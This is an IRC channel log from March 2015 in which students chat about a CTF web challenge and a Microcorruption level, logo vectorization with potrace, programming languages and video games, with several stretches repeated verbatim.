[2015-03-23T22:35:25-0400] <LittleBobbyTables> It's more fun
[2015-03-23T22:35:38-0400] <ubuntor> but that's tedious :>
[2015-03-23T22:35:49-0400] <ubuntor> binary searching is somewhat fun tho
[2015-03-23T22:36:33-0400] <LittleBobbyTables> Do you want to figure out the user and password table/columns yourself as well?
[2015-03-23T22:38:18-0400] <ubuntor> eh, it's scriptable as well
[2015-03-23T22:39:34-0400] <LittleBobbyTables> It all is.
[2015-03-23T22:39:41-0400] <LittleBobbyTables> That's the boring way to do it though
[2015-03-23T22:43:36-0400] <hardmath123> "Fatal Python error: PyThreadState_Get: no current thread"
[2015-03-23T22:43:42-0400] <hardmath123> :(
[2015-03-23T22:49:04-0400] <failedxyz_> hi
[2015-03-23T22:49:07-0400] <failedxyz_> what did i miss
[2015-03-23T22:57:41-0400] <LittleBobbyTables> Do the web challenge I gave.
[2015-03-24T00:51:17-0400] <LittleBobbyTables>  https://www.youtube.com/watch?v=jFLAfVvWEBk
[2015-03-24T00:55:20-0400] <failedxyz_> done w hw
[2015-03-24T01:05:33-0400] <nezorg> friend's description of javascript:
[2015-03-24T01:05:46-0400] <nezorg> "this crazy language is like the wild west
[2015-03-24T01:05:57-0400] <nezorg> except for instead of a horse, you ride a cactus
[2015-03-24T01:06:08-0400] <nezorg> and everyone is on fire"
[2015-03-24T01:06:28-0400] <hardmath123> i feel i can write a program to generate such rants automatically
[2015-03-24T01:07:45-0400] <hardmath123> javascript is like [setting] except instead of [noun] you [verb] a [worse noun] and everyone [illogical verb] [even more illogical direct object]
[2015-03-24T01:08:13-0400] <failedxyz_> lol
[2015-03-24T09:23:14-0400] <JacobEdelman> gmorning all
[2015-03-24T09:23:47-0400] <JacobEdelman> awe: we're not just waiting on coloring for the logo
[2015-03-24T09:24:06-0400] <JacobEdelman> shannon had to ink the lines in as of a last week (wednesday) I think
[2015-03-24T09:24:37-0400] <JacobEdelman> oh wait, maybe I'm wrong? last wednesday she was still working on inking the lines before coloring
[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:05 AM <BigBobbyTable> This microcorruption level is being stupid.
[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:09 AM <BigBobbyTable> Gotta format string to #0x3600 after a strcpy, so I can't just write to it directly, and I can't start from #0x35ff :/
[2015-03-24T11:05:38-0400] <+awe> JacobEdelman: yeah, you're right.
[2015-03-24T11:06:07-0400] <apothy> LittleBobbyTables: Which problem?
[2015-03-24T11:06:18-0400] <LittleBobbyTables> Addis Ababa
[2015-03-24T11:06:44-0400] <apothy> Ah
[2015-03-24T12:18:03-0400] <grantwu> I can vectorize the logo
[2015-03-24T12:18:07-0400] <grantwu> If y'all want
[2015-03-24T12:46:27-0400] <JacobEdelman> so can I!
[2015-03-24T12:46:38-0400] <JacobEdelman> it takes, like 5 seconds with gimp
[2015-03-24T12:47:05-0400] <JacobEdelman> and my vectors will be _straighter_ 
[2015-03-24T12:47:06-0400] <JacobEdelman> :P
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[2015-03-24T12:53:06-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-23T22:27:44-0400] <+awe> https://fbcdn-sphotos-h-a.akamaihd.net/hphotos-ak-xta1/v/t34.0-12/11063253_970957412956371_1238733985_n.jpg?oh=3cf465261899be249b2c22d7f0cbec7f&oe=5512E4C9&__gda__=1427309109_d060c7709bb22bde9eb2b0c999c12984
[2015-03-23T22:27:53-0400] <calc0000> 2kyoot
[2015-03-23T22:28:07-0400] <ubuntor> ^
[2015-03-23T22:28:18-0400] <Hyper> mmm
[2015-03-23T22:29:43-0400] <Tamini> omg
[2015-03-23T22:29:45-0400] <Tamini> thats adorb
[2015-03-23T22:31:53-0400] <+awe> Yeah, Shannon's way busy, but I'm really excited about it.
[2015-03-23T22:32:24-0400] <+awe> It's pretty much exactly what I wanted.
[2015-03-23T22:33:19-0400] <+awe> calc0000: hah! Bob's Burgers is set in NJ.
[2015-03-23T22:33:33-0400] <+awe> calc0000: they had a thing where they drove to Florida and they showed a map and they started in NJ.
[2015-03-23T22:34:16-0400] <LittleBobbyTables> ubuntor: are you playing with the blind sql
[2015-03-23T22:34:49-0400] <ubuntor> i think i have a script somewhere
[2015-03-23T22:35:23-0400] <LittleBobbyTables> Do it by hand
[2015-03-23T22:35:25-0400] <LittleBobbyTables> It's more fun
[2015-03-23T22:35:38-0400] <ubuntor> but that's tedious :>
[2015-03-23T22:35:49-0400] <ubuntor> binary searching is somewhat fun tho
[2015-03-23T22:36:33-0400] <LittleBobbyTables> Do you want to figure out the user and password table/columns yourself as well?
[2015-03-23T22:38:18-0400] <ubuntor> eh, it's scriptable as well
[2015-03-23T22:39:34-0400] <LittleBobbyTables> It all is.
[2015-03-23T22:39:41-0400] <LittleBobbyTables> That's the boring way to do it though
[2015-03-23T22:43:36-0400] <hardmath123> "Fatal Python error: PyThreadState_Get: no current thread"
[2015-03-23T22:43:42-0400] <hardmath123> :(
[2015-03-23T22:49:04-0400] <failedxyz_> hi
[2015-03-23T22:49:07-0400] <failedxyz_> what did i miss
[2015-03-23T22:57:41-0400] <LittleBobbyTables> Do the web challenge I gave.
[2015-03-24T00:51:17-0400] <LittleBobbyTables>  https://www.youtube.com/watch?v=jFLAfVvWEBk
[2015-03-24T00:55:20-0400] <failedxyz_> done w hw
[2015-03-24T01:05:33-0400] <nezorg> friend's description of javascript:
[2015-03-24T01:05:46-0400] <nezorg> "this crazy language is like the wild west
[2015-03-24T01:05:57-0400] <nezorg> except for instead of a horse, you ride a cactus
[2015-03-24T01:06:08-0400] <nezorg> and everyone is on fire"
[2015-03-24T01:06:28-0400] <hardmath123> i feel i can write a program to generate such rants automatically
[2015-03-24T01:07:45-0400] <hardmath123> javascript is like [setting] except instead of [noun] you [verb] a [worse noun] and everyone [illogical verb] [even more illogical direct object]
[2015-03-24T01:08:13-0400] <failedxyz_> lol
[2015-03-24T09:23:14-0400] <JacobEdelman> gmorning all
[2015-03-24T09:23:47-0400] <JacobEdelman> awe: we're not just waiting on coloring for the logo
[2015-03-24T09:24:06-0400] <JacobEdelman> shannon had to ink the lines in as of a last week (wednesday) I think
[2015-03-24T09:24:37-0400] <JacobEdelman> oh wait, maybe I'm wrong? last wednesday she was still working on inking the lines before coloring
[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:05 AM <BigBobbyTable> This microcorruption level is being stupid.
[2015-03-24T10:44:44-0400] <LittleBobbyTables> 6:09 AM <BigBobbyTable> Gotta format string to #0x3600 after a strcpy, so I can't just write to it directly, and I can't start from #0x35ff :/
[2015-03-24T11:05:38-0400] <+awe> JacobEdelman: yeah, you're right.
[2015-03-24T11:06:07-0400] <apothy> LittleBobbyTables: Which problem?
[2015-03-24T11:06:18-0400] <LittleBobbyTables> Addis Ababa
[2015-03-24T11:06:44-0400] <apothy> Ah
[2015-03-24T12:18:03-0400] <grantwu> I can vectorize the logo
[2015-03-24T12:18:07-0400] <grantwu> If y'all want
[2015-03-24T12:46:27-0400] <JacobEdelman> so can I!
[2015-03-24T12:46:38-0400] <JacobEdelman> it takes, like 5 seconds with gimp
[2015-03-24T12:47:05-0400] <JacobEdelman> and my vectors will be _straighter_ 
[2015-03-24T12:47:06-0400] <JacobEdelman> :P
[2015-03-24T12:53:07-0400] Mode is +nt
[2015-03-24T12:53:30-0400] <+awe> grantwu: I'm pretty sure it'll _be_ a vector?
[2015-03-24T12:53:53-0400] <+awe> grantwu: if not, definitely.
[2015-03-24T12:53:56-0400] <+awe> I want it as an SVG.
[2015-03-24T13:00:33-0400] <grantwu> Uh, how would youdo it with gimp?
[2015-03-24T13:00:51-0400] <+awe> Trace it, probably?
[2015-03-24T13:01:05-0400] <+awe> Or Jacob intends on just exporting the file as SVG lol.
[2015-03-24T13:01:07-0400] <grantwu> And why is it better in GIMP?
[2015-03-24T13:02:01-0400] <grantwu> I'm pretty sure that just embeds a raster file in the SVG
[2015-03-24T13:02:10-0400] <+awe> It does.
[2015-03-24T13:02:16-0400] <+awe> Hence, the lol.
[2015-03-24T13:05:54-0400] <grantwu> JacobEdelman, master troll
[2015-03-24T13:07:19-0400] <grantwu> Considering there appears to be a spray can tool, I'm doubtful it's a vector, but it's possible
[2015-03-24T13:10:05-0400] <grantwu> awe: do you know much about SML's module system?
[2015-03-24T13:10:27-0400] <grantwu> Apparently some people prefer it to typeclasses
[2015-03-24T13:15:35-0400] <+awe> I know nothing about SML's module system.
[2015-03-24T13:15:40-0400] <+awe> Typeclasses are awesome though.
[2015-03-24T13:21:35-0400] <grantwu> https://www.cs.cmu.edu/~rwh/papers/mtc/short.pdf seems interesting
[2015-03-24T13:22:59-0400] <+awe> Neat.
[2015-03-24T13:40:51-0400] <JacobEdelman> in gimp theres a filter or whatever 
[2015-03-24T13:41:00-0400] <JacobEdelman> that vectorizes it
[2015-03-24T13:41:19-0400] <JacobEdelman> and that doesn't just embed it in a file
[2015-03-24T13:41:22-0400] <JacobEdelman> it actually changes it
[2015-03-24T13:41:33-0400] <JacobEdelman> my younger brother used it after I showed it to him for a different logo
[2015-03-24T13:43:03-0400] <+awe> How does that work? Curve fitting?
[2015-03-24T13:44:09-0400] <grantwu> awe: google potrace
[2015-03-24T13:44:11-0400] <grantwu> It's not perfect.
[2015-03-24T13:44:23-0400] <grantwu> Inkscape has it too
[2015-03-24T13:46:12-0400] <+awe> Is it good?
[2015-03-24T13:46:46-0400] <+awe> https://en.wikipedia.org/wiki/Potrace#Examples
[2015-03-24T13:46:52-0400] <+awe> Welp, the last one looks pretty awesome.
[2015-03-24T13:50:01-0400] <grantwu> It's.. alright
[2015-03-24T13:50:27-0400] <grantwu> Sometimes the vectors don't make semantic sense
[2015-03-24T13:50:42-0400] <grantwu> Like, it doesn't create stroked paths
[2015-03-24T13:50:51-0400] <grantwu> It will always create unstroked paths that are filled
[2015-03-24T13:51:05-0400] <grantwu> Which isn't always 100% appropriate.
[2015-03-24T13:51:46-0400] <grantwu> Resolution matters a lot.  I've seen it get near perfect results on high-res stuff, horrid on others
[2015-03-24T13:52:10-0400] <grantwu> With respect to colors, it tends to stack paths, which I'm not a big fan of
[2015-03-24T13:52:27-0400] <grantwu> awe: Are you going to HackUMass?
[2015-03-24T13:52:32-0400] <+awe> Yessir.
[2015-03-24T13:52:33-0400] <+awe> Are you?
[2015-03-24T13:52:35-0400] <+awe> Please say yes.
[2015-03-24T13:52:49-0400] <grantwu> No
[2015-03-24T13:52:51-0400] <grantwu> lul
[2015-03-24T13:52:52-0400] <+awe> Dangit.
[2015-03-24T13:53:01-0400] <grantwu> But I did the vectorization for the tshirts
[2015-03-24T13:53:06-0400] <+awe> Oh, cool.
[2015-03-24T13:53:24-0400] <grantwu> Someone asked a cmu friend who posted in a facebook group... I basically did 2 hours of unpaid work, not sure why
[2015-03-24T13:53:44-0400] <+awe> Interesting coincidence.
[2015-03-24T13:53:55-0400] <+awe> I'm pretty sure it's going to be awful since I don't know anyone who's going right now.
[2015-03-24T13:54:01-0400] <grantwu> Also it makes almost everything a cusp node
[2015-03-24T13:55:04-0400] <+awe> grantwu: welp, yeah, if we don't get it as a vector, you've got the job ;)
[2015-03-24T13:55:08-0400] <+awe> JacobEdelman: you're fired.
[2015-03-24T13:55:46-0400] <+awe> JacobEdelman: I never hired you, but you're fired.
[2015-03-24T13:57:54-0400] <grantwu> Uh, basically smooth nodes have handles that point in the same direction
[2015-03-24T13:58:23-0400] <+awe> Yeah, I understand the idea. I'm just saying that the fact that you're so considerate of all of that means I'd want you to do it. :p
[2015-03-24T13:58:42-0400] <grantwu> No, I know
[2015-03-24T13:58:52-0400] <grantwu> I was just explaining and my internet is being slow for some strange reason
[2015-03-24T13:59:13-0400] <grantwu> (also looking for documentation for inkscape but the documentation kind of sucks... T.T)
[2015-03-24T14:01:06-0400] <+awe> Ah, my internet is being particularly great right now. I downloaded the latest version of Rust in 5 seconds (@ 20 MB/s)
[2015-03-24T14:02:32-0400] <grantwu> Bah humbug
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[2015-03-24T13:05:54-0400] <grantwu> JacobEdelman, master troll
[2015-03-24T13:07:19-0400] <grantwu> Considering there appears to be a spray can tool, I'm doubtful it's a vector, but it's possible
[2015-03-24T13:10:05-0400] <grantwu> awe: do you know much about SML's module system?
[2015-03-24T13:10:27-0400] <grantwu> Apparently some people prefer it to typeclasses
[2015-03-24T13:15:35-0400] <+awe> I know nothing about SML's module system.
[2015-03-24T13:15:40-0400] <+awe> Typeclasses are awesome though.
[2015-03-24T13:21:35-0400] <grantwu> https://www.cs.cmu.edu/~rwh/papers/mtc/short.pdf seems interesting
[2015-03-24T13:22:59-0400] <+awe> Neat.
[2015-03-24T13:40:51-0400] <JacobEdelman> in gimp theres a filter or whatever 
[2015-03-24T13:41:00-0400] <JacobEdelman> that vectorizes it
[2015-03-24T13:41:18-0400] <JacobEdelman> and that doesn't just embed it in a file
[2015-03-24T13:41:22-0400] <JacobEdelman> it actually changes it
[2015-03-24T13:41:33-0400] <JacobEdelman> my younger brother used it after I showed it to him for a different logo
[2015-03-24T13:43:03-0400] <+awe> How does that work? Curve fitting?
[2015-03-24T13:44:09-0400] <grantwu> awe: google potrace
[2015-03-24T13:44:11-0400] <grantwu> It's not perfect.
[2015-03-24T13:44:23-0400] <grantwu> Inkscape has it too
[2015-03-24T13:46:12-0400] <+awe> Is it good?
[2015-03-24T13:46:46-0400] <+awe> https://en.wikipedia.org/wiki/Potrace#Examples
[2015-03-24T13:46:52-0400] <+awe> Welp, the last one looks pretty awesome.
[2015-03-24T13:50:01-0400] <grantwu> It's.. alright
[2015-03-24T13:50:27-0400] <grantwu> Sometimes the vectors don't make semantic sense
[2015-03-24T13:50:42-0400] <grantwu> Like, it doesn't create stroked paths
[2015-03-24T13:50:51-0400] <grantwu> It will always create unstroked paths that are filled
[2015-03-24T13:51:05-0400] <grantwu> Which isn't always 100% appropriate.
[2015-03-24T13:51:46-0400] <grantwu> Resolution matters a lot.  I've seen it get near perfect results on high-res stuff, horrid on others
[2015-03-24T13:52:10-0400] <grantwu> With respect to colors, it tends to stack paths, which I'm not a big fan of
[2015-03-24T13:52:27-0400] <grantwu> awe: Are you going to HackUMass?
[2015-03-24T13:52:33-0400] <+awe> Yessir.
[2015-03-24T13:52:33-0400] <+awe> Are you?
[2015-03-24T13:52:35-0400] <+awe> Please say yes.
[2015-03-24T13:52:49-0400] <grantwu> No
[2015-03-24T13:52:51-0400] <grantwu> lul
[2015-03-24T13:52:52-0400] <+awe> Dangit.
[2015-03-24T13:53:01-0400] <grantwu> But I did the vectorization for the tshirts
[2015-03-24T13:53:06-0400] <+awe> Oh, cool.
[2015-03-24T13:53:24-0400] <grantwu> Someone asked a cmu friend who posted in a facebook group... I basically did 2 hours of unpaid work, not sure why
[2015-03-24T13:53:44-0400] <+awe> Interesting coincidence.
[2015-03-24T13:53:55-0400] <+awe> I'm pretty sure it's going to be awful since I don't know anyone who's going right now.
[2015-03-24T13:54:01-0400] <grantwu> Also it makes almost everything a cusp node
[2015-03-24T13:55:04-0400] <+awe> grantwu: welp, yeah, if we don't get it as a vector, you've got the job ;)
[2015-03-24T13:55:08-0400] <+awe> JacobEdelman: you're fired.
[2015-03-24T13:55:45-0400] <+awe> JacobEdelman: I never hired you, but you're fired.
[2015-03-24T13:57:54-0400] <grantwu> Uh, basically smooth nodes have handles that point in the same direction
[2015-03-24T13:58:23-0400] <+awe> Yeah, I understand the idea. I'm just saying that the fact that you're so considerate of all of that means I'd want you to do it. :p
[2015-03-24T13:58:42-0400] <grantwu> No, I know
[2015-03-24T13:58:52-0400] <grantwu> I was just explaining and my internet is being slow for some strange reason
[2015-03-24T13:59:13-0400] <grantwu> (also looking for documentation for inkscape but the documentation kind of sucks... T.T)
[2015-03-24T14:01:06-0400] <+awe> Ah, my internet is being particularly great right now. I downloaded the latest version of Rust in 5 seconds (@ 20 MB/s)
[2015-03-24T14:02:32-0400] <grantwu> Bah humbug
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[2015-03-24T13:05:54-0400] <grantwu> JacobEdelman, master troll
[2015-03-24T13:07:19-0400] <grantwu> Considering there appears to be a spray can tool, I'm doubtful it's a vector, but it's possible
[2015-03-24T13:10:05-0400] <grantwu> awe: do you know much about SML's module system?
[2015-03-24T13:10:27-0400] <grantwu> Apparently some people prefer it to typeclasses
[2015-03-24T13:15:35-0400] <+awe> I know nothing about SML's module system.
[2015-03-24T13:15:40-0400] <+awe> Typeclasses are awesome though.
[2015-03-24T13:21:35-0400] <grantwu> https://www.cs.cmu.edu/~rwh/papers/mtc/short.pdf seems interesting
[2015-03-24T13:22:59-0400] <+awe> Neat.
[2015-03-24T13:40:51-0400] <JacobEdelman> in gimp theres a filter or whatever 
[2015-03-24T13:41:00-0400] <JacobEdelman> that vectorizes it
[2015-03-24T13:41:18-0400] <JacobEdelman> and that doesn't just embed it in a file
[2015-03-24T13:41:22-0400] <JacobEdelman> it actually changes it
[2015-03-24T13:41:33-0400] <JacobEdelman> my younger brother used it after I showed it to him for a different logo
[2015-03-24T13:43:03-0400] <+awe> How does that work? Curve fitting?
[2015-03-24T13:44:09-0400] <grantwu> awe: google potrace
[2015-03-24T13:44:11-0400] <grantwu> It's not perfect.
[2015-03-24T13:44:23-0400] <grantwu> Inkscape has it too
[2015-03-24T13:46:12-0400] <+awe> Is it good?
[2015-03-24T13:46:46-0400] <+awe> https://en.wikipedia.org/wiki/Potrace#Examples
[2015-03-24T13:46:52-0400] <+awe> Welp, the last one looks pretty awesome.
[2015-03-24T13:50:01-0400] <grantwu> It's.. alright
[2015-03-24T13:50:27-0400] <grantwu> Sometimes the vectors don't make semantic sense
[2015-03-24T13:50:42-0400] <grantwu> Like, it doesn't create stroked paths
[2015-03-24T13:50:51-0400] <grantwu> It will always create unstroked paths that are filled
[2015-03-24T13:51:05-0400] <grantwu> Which isn't always 100% appropriate.
[2015-03-24T13:51:46-0400] <grantwu> Resolution matters a lot.  I've seen it get near perfect results on high-res stuff, horrid on others
[2015-03-24T13:52:10-0400] <grantwu> With respect to colors, it tends to stack paths, which I'm not a big fan of
[2015-03-24T13:52:27-0400] <grantwu> awe: Are you going to HackUMass?
[2015-03-24T13:52:33-0400] <+awe> Yessir.
[2015-03-24T13:52:33-0400] <+awe> Are you?
[2015-03-24T13:52:35-0400] <+awe> Please say yes.
[2015-03-24T13:52:49-0400] <grantwu> No
[2015-03-24T13:52:51-0400] <grantwu> lul
[2015-03-24T13:52:52-0400] <+awe> Dangit.
[2015-03-24T13:53:01-0400] <grantwu> But I did the vectorization for the tshirts
[2015-03-24T13:53:06-0400] <+awe> Oh, cool.
[2015-03-24T13:53:24-0400] <grantwu> Someone asked a cmu friend who posted in a facebook group... I basically did 2 hours of unpaid work, not sure why
[2015-03-24T13:53:44-0400] <+awe> Interesting coincidence.
[2015-03-24T13:53:55-0400] <+awe> I'm pretty sure it's going to be awful since I don't know anyone who's going right now.
[2015-03-24T13:54:01-0400] <grantwu> Also it makes almost everything a cusp node
[2015-03-24T13:55:04-0400] <+awe> grantwu: welp, yeah, if we don't get it as a vector, you've got the job ;)
[2015-03-24T13:55:08-0400] <+awe> JacobEdelman: you're fired.
[2015-03-24T13:55:45-0400] <+awe> JacobEdelman: I never hired you, but you're fired.
[2015-03-24T13:57:54-0400] <grantwu> Uh, basically smooth nodes have handles that point in the same direction
[2015-03-24T13:58:23-0400] <+awe> Yeah, I understand the idea. I'm just saying that the fact that you're so considerate of all of that means I'd want you to do it. :p
[2015-03-24T13:58:42-0400] <grantwu> No, I know
[2015-03-24T13:58:52-0400] <grantwu> I was just explaining and my internet is being slow for some strange reason
[2015-03-24T13:59:13-0400] <grantwu> (also looking for documentation for inkscape but the documentation kind of sucks... T.T)
[2015-03-24T14:01:06-0400] <+awe> Ah, my internet is being particularly great right now. I downloaded the latest version of Rust in 5 seconds (@ 20 MB/s)
[2015-03-24T14:02:32-0400] <grantwu> Bah humbug
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[2015-03-24T15:57:03-0400] <JacobEdelman> awe: no!!! How dare you fire me!
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[2015-03-24T16:52:21-0400] <ubuntor> nezorg: have you seen the new poc||gtfo?
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[2015-03-24T17:08:28-0400] <z3t> so just figured out a bug I've been trying to track down for the past few days in a few thousand lines of code is the use of "!=" instead of "=="
[2015-03-24T17:08:39-0400] <z3t> fml
[2015-03-24T17:08:44-0400] <jwoglom> well at least it wasn't "="
[2015-03-24T17:12:10-0400] <z3t> i've done that before too
[2015-03-24T17:14:56-0400] <jwoglom> what language?
[2015-03-24T17:21:22-0400] <z3t> If I say JacobEdelman will start another debate
[2015-03-24T17:23:42-0400] <+awe> z3t: I'm curious now.
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[2015-03-24T17:36:34-0400] <JacobEdelman> Yes
[2015-03-24T17:36:43-0400] <JacobEdelman> Fine
[2015-03-24T17:36:52-0400] <JacobEdelman> I will stop waging war on Java
[2015-03-24T17:37:14-0400] <JacobEdelman> On preparation foot using it in a class next year
[2015-03-24T17:37:19-0400] <JacobEdelman> *for
[2015-03-24T17:37:24-0400] <JacobEdelman> *in
[2015-03-24T17:42:05-0400] <z3t> yay?
[2015-03-24T17:42:57-0400] <+awe> Java is painful, but honestly, you could use a worse language.
[2015-03-24T17:42:58-0400] <+awe> Like Perl.
[2015-03-24T17:43:09-0400] • awe: shakes fist angrily at the sky in the name of Perl.
[2015-03-24T17:43:51-0400] <jwoglom> i kind of hope i don't ever have to use perl
[2015-03-24T17:44:11-0400] <+awe> I'm pretty sure Perl is actually the worst language to have ever existed, with stock PHP being a close second.
[2015-03-24T17:44:45-0400] <+awe> Well, okay, maybe not the worst language to have ever existed, but probably the worst language to have ever existed and be thought to be good for legitimate projects by a substantial number of people.
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[2015-03-24T18:35:15-0400] <Tamini> sdamashek: <33333
[2015-03-24T18:35:25-0400] <grantwu> ayyy lmaoo
[2015-03-24T18:41:08-0400] <fwilson> VVVVVV is fun
[2015-03-24T18:41:47-0400] <jwoglom> ^^^^^^
[2015-03-24T18:43:20-0400] <fwilson> VVVVVV
[2015-03-24T18:43:56-0400] <jwoglom> ||||||
[2015-03-24T18:44:00-0400] <jwoglom> ||||||
[2015-03-24T18:44:08-0400] <grantwu> Wait Brice Huang looks nothing like Alok
[2015-03-24T18:44:35-0400] <fwilson> illuminate confirmed?
[2015-03-24T18:44:50-0400] <grantwu> The sun is in my eyes
[2015-03-24T18:44:52-0400] <grantwu> illuminate confirmed
[2015-03-24T18:45:08-0400] <Tamini> VVVVV is great
[2015-03-24T18:45:12-0400] <Tamini> i have no homework today i should play it
[2015-03-24T18:45:17-0400] <jwoglom> fwilson: http://www.elluminate.com/Services/Training/Elluminate_Live!/?id=418
[2015-03-24T18:45:22-0400] <Tamini> and grantwu: yeah, sdamashek didn't realize alok was indian
[2015-03-24T18:45:23-0400] <jwoglom> owned by blackboard
[2015-03-24T18:45:28-0400] <jwoglom> blackboard is illuminate confirmed
[2015-03-24T18:45:34-0400] <sdamashek> Tamini: I thought he was
[2015-03-24T18:45:46-0400] <sdamashek> Tamini: you have to admit that
[2015-03-24T18:45:56-0400] <Tamini> okay okayyy
[2015-03-24T18:46:47-0400] <Tamini> what games to play....hmm...
[2015-03-24T18:47:01-0400] <grantwu> Have you played Transistor
[2015-03-24T18:47:06-0400] <Tamini> nope o-o
[2015-03-24T18:47:17-0400] <grantwu> Well
[2015-03-24T18:47:23-0400] <grantwu> Neither have I!
[2015-03-24T18:47:30-0400] <grantwu> (have you played bastion)
[2015-03-24T18:47:44-0400] <Tamini> yes!
[2015-03-24T18:47:46-0400] <Tamini> hmm
[2015-03-24T18:47:50-0400] <Tamini> maybe i should play more bastion
[2015-03-24T18:47:54-0400] <grantwu> Transistor is also made by Supergiant games
[2015-03-24T18:48:08-0400] <grantwu> I heard it's good
[2015-03-24T18:48:12-0400] <grantwu> But it costs money
[2015-03-24T18:48:36-0400] <jwoglom> you could play cities skylines :P
[2015-03-24T18:48:47-0400] <grantwu> I heard that costs money to
[2015-03-24T18:49:06-0400] <jwoglom> it's like $25 on steam
[2015-03-24T18:49:08-0400] <Tamini> im trying to decide whether i want to play something cute or what
[2015-03-24T18:49:09-0400] <jwoglom> great game though
[2015-03-24T18:49:42-0400] <grantwu> $25 is $25 I don't have to spend
[2015-03-24T18:49:48-0400] <grantwu> I'm saving money for a rainy day
[2015-03-24T18:49:57-0400] <grantwu> Hrm no that can't be it it rains all the time here
[2015-03-24T18:49:58-0400] <jwoglom> what if today is that rainy day!
[2015-03-24T18:50:11-0400] <grantwu> I'm saving money for something, I'm not sure what, exactly!
[2015-03-24T18:51:03-0400] <Tamini> im going to play my quantum physics game
[2015-03-24T18:51:48-0400] <Tamini> !choose physics game or stanley parable endings
[2015-03-24T18:51:51-0400] <Tamini> :(
[2015-03-24T18:52:20-0400] <jwoglom> this isn't #tjhsst, silly :P
[2015-03-24T18:52:34-0400] <Tamini> awebot just hit on me again
[2015-03-24T18:52:40-0400] <Tamini> <awebot> Do you work for UPS? Because I swear I saw you checking out my package.
[2015-03-24T18:53:02-0400] <jwoglom> lol, awebot
[2015-03-24T18:53:15-0400] <jwoglom> i've only gotten it once, and it was a while ago
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[2015-03-24T18:58:09-0400] <grantwu> apothy!
[2015-03-24T18:58:11-0400] <+awe> [18:44:08]  <grantwu>	Wait Brice Huang looks nothing like Alok
[2015-03-24T18:58:20-0400] <+awe> grantwu: really? A Chinese man doesn't look like an Indian man?
[2015-03-24T18:58:24-0400] <grantwu> awe: shhhhh
[2015-03-24T18:58:30-0400] <apothy> grantwu: Hiya
[2015-03-24T18:58:33-0400] <Tamini> obviously sdamashek thinks so :P
[2015-03-24T18:58:36-0400] <Tamini> hii apothy :D
[2015-03-24T18:58:41-0400] <grantwu> apothy: Hm I don't have anything to actually say
[2015-03-24T18:58:55-0400] <sdamashek> well I mean I knew nothing about how either of them looked :>
[2015-03-24T18:58:59-0400] <apothy> Oh sdamashek thought Brice and I looked alike? XD
[2015-03-24T18:59:08-0400] <+awe> sdamashek: that's silly :p
[2015-03-24T18:59:19-0400] <+awe> sdamashek: Without any reason to believe otherwise, I would assume that two random people look dissimilar.
[2015-03-24T18:59:21-0400] <jwoglom> if he's never seen either of them before, how would he know? :P
[2015-03-24T18:59:33-0400] <Tamini> oh, no
[2015-03-24T18:59:38-0400] <+awe> sdamashek: For example, I imagine you looking completely different from woggles even though I don't know what you look like (I do know what woggles looks like though!).
[2015-03-24T18:59:44-0400] <Tamini> i sarcastically claimed that alok wasn't indian, he was chinese
[2015-03-24T18:59:57-0400] <Tamini> then I showed him the picture i took at pclassic of jacob+brice+alok
[2015-03-24T19:00:00-0400] <jwoglom> awe: what if sdamashek and I are actually just the same person?!
[2015-03-24T19:00:02-0400] <jwoglom> ever thought of that?
[2015-03-24T19:00:04-0400] <Tamini> with brice as the focus of the picture
[2015-03-24T19:00:07-0400] <+awe> jwoglom: Definitely not.
[2015-03-24T19:00:11-0400] <Tamini> and he naturally assumed brice == alok
[2015-03-24T19:00:14-0400] <+awe> jwoglom: Personalities are too different.
[2015-03-24T19:00:36-0400] <sdamashek> you just shoved it in my face saying this is alok :P
[2015-03-24T19:00:41-0400] <jwoglom> internet personalities aren't always the same as your real personality :P
[2015-03-24T19:00:45-0400] <sdamashek> I rationally assumed the focus of the picture was alok
[2015-03-24T19:01:00-0400] <+awe> jwoglom: I also know from Tamini that you're separate physical entities.
[2015-03-24T19:01:10-0400] <Tamini> sdamashek: i'm sorry i'm sorry
[2015-03-24T19:01:13-0400] <Tamini> i just wanted to tease you :P
[2015-03-24T19:01:15-0400] <+awe> And I've met with and interacted with the physical entity that is Tamini.
[2015-03-24T19:01:23-0400] <sdamashek> I know >_>
[2015-03-24T19:01:27-0400] <Tamini> <333
[2015-03-24T19:01:28-0400] <jwoglom> awe: what if that's what she wants you to think :P
[2015-03-24T19:02:16-0400] <+awe> I don't think Tamini would lie to me about that.
[2015-03-24T19:02:33-0400] <Tamini> im actually a figment of your imagination
[2015-03-24T19:02:42-0400] <jwoglom> none of us actually exist!
[2015-03-24T19:02:44-0400] <jwoglom> * poof *
[2015-03-24T19:03:00-0400] <+awe> Oh.
[2015-03-24T19:03:09-0400] <+awe> This is an expensive space just to have it be occupied by figments of my imagination.
[2015-03-24T19:03:49-0400] <jwoglom> i guess it's..slightly more costly than just having imaginary friends?
[2015-03-24T19:16:59-0400] <fwilson> VVVVVV!
[2015-03-24T19:17:07-0400] <Tamini> i'm playing particulars!
[2015-03-24T19:17:16-0400] <Tamini> its a better game it has quantum physics and stuff
[2015-03-24T19:17:26-0400] <fwilson> VVVVV has literally one mechanic
[2015-03-24T19:17:28-0400] <fwilson> *VVVVVV
[2015-03-24T19:18:11-0400] <Tamini> this game you play as a down quark
[2015-03-24T19:18:13-0400] <jwoglom> fwilson: the letter V? :P
[2015-03-24T19:18:15-0400] <Tamini> and learn about particles
[2015-03-24T19:18:43-0400] <fwilson> jwoglom: no
[2015-03-24T19:18:47-0400] <fwilson> reversing gravity
[2015-03-24T19:18:59-0400] <fwilson> i'm going to go play some more
[2015-03-24T19:19:21-0400] <jwoglom> sounds like false advertising
[2015-03-24T19:19:54-0400] <jwoglom> you totally should have just been able to control the character with just the letter v
[2015-03-24T19:21:31-0400] <+awe> jwoglom: lol.
[2015-03-24T19:21:49-0400] <+awe> VVVVV is great because it proves you can make a good game by taking something extremely simple and running with it.
[2015-03-24T19:21:53-0400] <Tamini> fyi, vvvvv is spikes! :P
[2015-03-24T19:25:38-0400] <jwoglom> oh wow, that's really simple but enjoyable
[2015-03-24T19:26:20-0400] <fwilson> vvvvvv is incredible
[2015-03-24T19:26:23-0400] <fwilson> it's on the humble bundle
[2015-03-24T19:26:25-0400] <fwilson> 10/10 would recommend
[2015-03-24T19:27:28-0400] <Hyper> fwilson: vvvvvv is so great
[2015-03-24T19:27:58-0400] <Tamini> i'll play it after i unlock like
[2015-03-24T19:28:01-0400] <Tamini> 3 more particles.
